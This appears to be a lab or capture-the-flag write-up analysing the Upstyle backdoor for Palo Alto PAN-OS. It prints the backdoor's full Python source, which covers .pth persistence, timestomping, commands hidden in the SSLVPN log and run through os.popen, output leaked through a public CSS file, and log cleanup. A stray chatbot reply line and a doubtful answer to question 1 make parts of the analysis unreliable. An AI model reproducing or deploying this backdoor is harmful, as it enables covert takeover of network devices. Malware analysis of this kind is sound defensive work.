Upstyle Backdoor
Challenge Description
Solution and Analysis
First extract the .py file from the password protected archive. Open it in a text editor like notepad++
you will get the following code
import os,base64,time
systempth = "/usr/lib/python3.6/site-packages/system.pth"
with open(systempth,'wb') as f:
f.write(b'''import base64;exec(base64.b64decode(b"
def check():
import os,subprocess,time,sys
def start_process():
import base64
functioncode = b"def __main():
import threading,time,os,re,base64
def restore(css_path,content,atime,mtime):
import os,time
time.sleep(15)
with open(css_path,'w') as f:
f.write(content)
os.utime(css_path,(atime,mtime))
def __is_whole_hour():
from datetime import datetime
current_time = datetime.now().time()
return current_time.minute != 0 and current_time.second == 0
css_path = '/var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css'
content = open(css_path).read()
atime=os.path.getatime(css_path)
mtime=os.path.getmtime(css_path)
while True:
try:
SHELL_PATTERN = 'img\[([a-zA-Z0-9+/=]+)\]'
lines = []
WRITE_FLAG = False
for line in open("/var/log/pan/sslvpn_ngx_error.log",errors="ignore").readlines():
rst = re.search(SHELL_PATTERN,line)
if rst:
WRITE_FLAG = True
cmd = base64.b64decode(rst.group(1)).decode()
try:
output = os.popen(cmd).read()
with open(css_path,"a") as f:
f.write("/*"+output+"*/")
except Exception as e:
pass
continue
lines.append(line)
if WRITE_FLAG:
atime=os.path.getatime("/var/log/pan/sslvpn_ngx_error.log")
mtime=os.path.getmtime("/var/log/pan/sslvpn_ngx_error.log")
with open("/var/log/pan/sslvpn_ngx_error.log","w") as f:
f.writelines(lines)
os.utime("/var/log/pan/sslvpn_ngx_error.log",(atime,mtime))
import threading
threading.Thread(target=restore,args=(css_path,content,atime,mtime)).start()
except:
pass
time.sleep(2)
import threading,time
threading.Thread(target=__main).start()
"
exec(base64.b64decode(functioncode))
if b"/usr/local/bin/monitor mp" in open("/proc/self/cmdline","rb").read().replace(b"\x00",b" ") :
try:
start_process()
except KeyboardInterrupt as e:
print(e)
except Exception as e:
print(e)
return True
else:
return False
def protect():
import os,signal
systempth = "/usr/lib/python3.6/site-packages/system.pth"
content = open(systempth).read()
# os.unlink(__file__)
def stop(sig,frame):
if not os.path.exists(systempth):
with open(systempth,"w") as f:
f.write(content)
signal.signal(signal.SIGTERM,stop)
protect()
check()
=="))''')
atime=os.path.getatime(os.__file__)
mtime=os.path.getmtime(os.__file__)
os.utime(systempth,(atime,mtime))
os.unlink(__file__)
import glob
os.unlink(glob.glob("/opt/pancfg/mgmt/licenses/PA_VM`*")[0])
Of course. Here is the updated analysis based on your correction.
General Explanation of the Script's Purpose
This script is a sophisticated backdoor designed to establish persistent, stealthy access to a Palo Alto Networks (PAN-OS) device. Its primary goal is to create a hidden command and control (C2) channel.
Here is the high-level attack flow:
- Installation & Persistence: The script first creates a file at
/usr/lib/python3.6/site-packages/system.pth. In Python,.pthfiles are automatically processed when the interpreter starts, allowing the code within them to be executed. This is the core persistence mechanism. - Evasion & Anti-Forensics: It uses "timestomping" by setting the modification and access times of the malicious
.pthfile to match a legitimate system file (os.py), making it harder to spot during forensic analysis. It also deletes its own source file to cover its tracks. - Targeted Execution: The
check()function is called. This function first verifies that it is running within a specific, legitimate Palo Alto Networks process (/usr/local/bin/monitor mp). This is a targeting mechanism to ensure the backdoor only activates in the intended environment. - Covert Command Channel: If the process check is successful,
check()triggers thestart_process()function. This function decodes and executes the main payload, which starts the__main()function in a new thread. This__main()function continuously monitors the Nginx SSLVPN error log (/var/log/pan/sslvpn_ngx_error.log) for specially crafted commands. Attackers send commands hidden within a specific pattern (img[...]) designed to be written to this log file. - Execution & Exfiltration: When the script finds the pattern, it decodes the Base64 command and executes it. The output of the command is appended as a comment (
/*output*/) to a publicly accessible CSS file (bootstrap.min.css). This allows the attacker to retrieve command results by simply browsing to that file. - Cleanup & Self-Preservation: After execution, the script cleans the command from the log file. It also calls the
restore()function, which waits 15 seconds before reverting the CSS file to its original state, erasing the output. A separateprotect()function ensures that if an admin tries to terminate the script's process, it will rewrite its persistence file (system.pth) before shutting down.
Challenge Questions
1. What function is responsible for monitoring a log file for embedded commands and executing them, while also restoring the file to its original state?
The check() function is responsible for initiating the entire monitoring and execution process. It acts as a gatekeeper, first verifying it's running inside a specific PAN-OS process. If the check passes, it calls start_process(), which decodes and executes the main payload. This payload contains the __main() function (which performs the actual log monitoring loop) and the restore() helper function (which cleans up the CSS file). Therefore, check() is the top-level function that orchestrates this entire chain of events.
2. What is the system path that is used by the threat actor?
The system path used for persistence is: /usr/lib/python3.6/site-packages/system.pth. This path is critical because files with a .pth extension in Python's site-packages directory are automatically executed when the Python interpreter starts.
3. What is the CSS path used by the script?
The CSS path used for exfiltrating command output is: /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css.
4. Where does the script attempt to remove certain license files from?
The script attempts to remove license files from the /opt/pancfg/mgmt/licenses/ directory, specifically targeting files that match the pattern PA_VM* using the line os.unlink(glob.glob("/opt/pancfg/mgmt/licenses/PA_VM*")[0]).
5. What specific signal does the protection function respond to?
The protect() function responds to the SIGTERM signal. This is a standard signal used to request a process's termination, which the script intercepts to perform a self-preservation action.
6. What function is responsible for protecting the script itself?
The protect() function is responsible for the script's self-preservation. It sets up a signal handler that ensures if the process receives a SIGTERM signal, it will rewrite the persistence file (system.pth) before terminating.
7. What type of pattern does the script search for within the log file?
The script searches for a regular expression pattern defined as SHELL_PATTERN = 'img\[([a-zA-Z0-9+/=]+)\]'. This pattern looks for the literal string img[ followed by a Base64-encoded command, and ending with a literal ].
8. Which specific log file does the script read from?
The script reads commands from the PAN-OS SSLVPN Nginx error log file located at: /var/log/pan/sslvpn_ngx_error.log.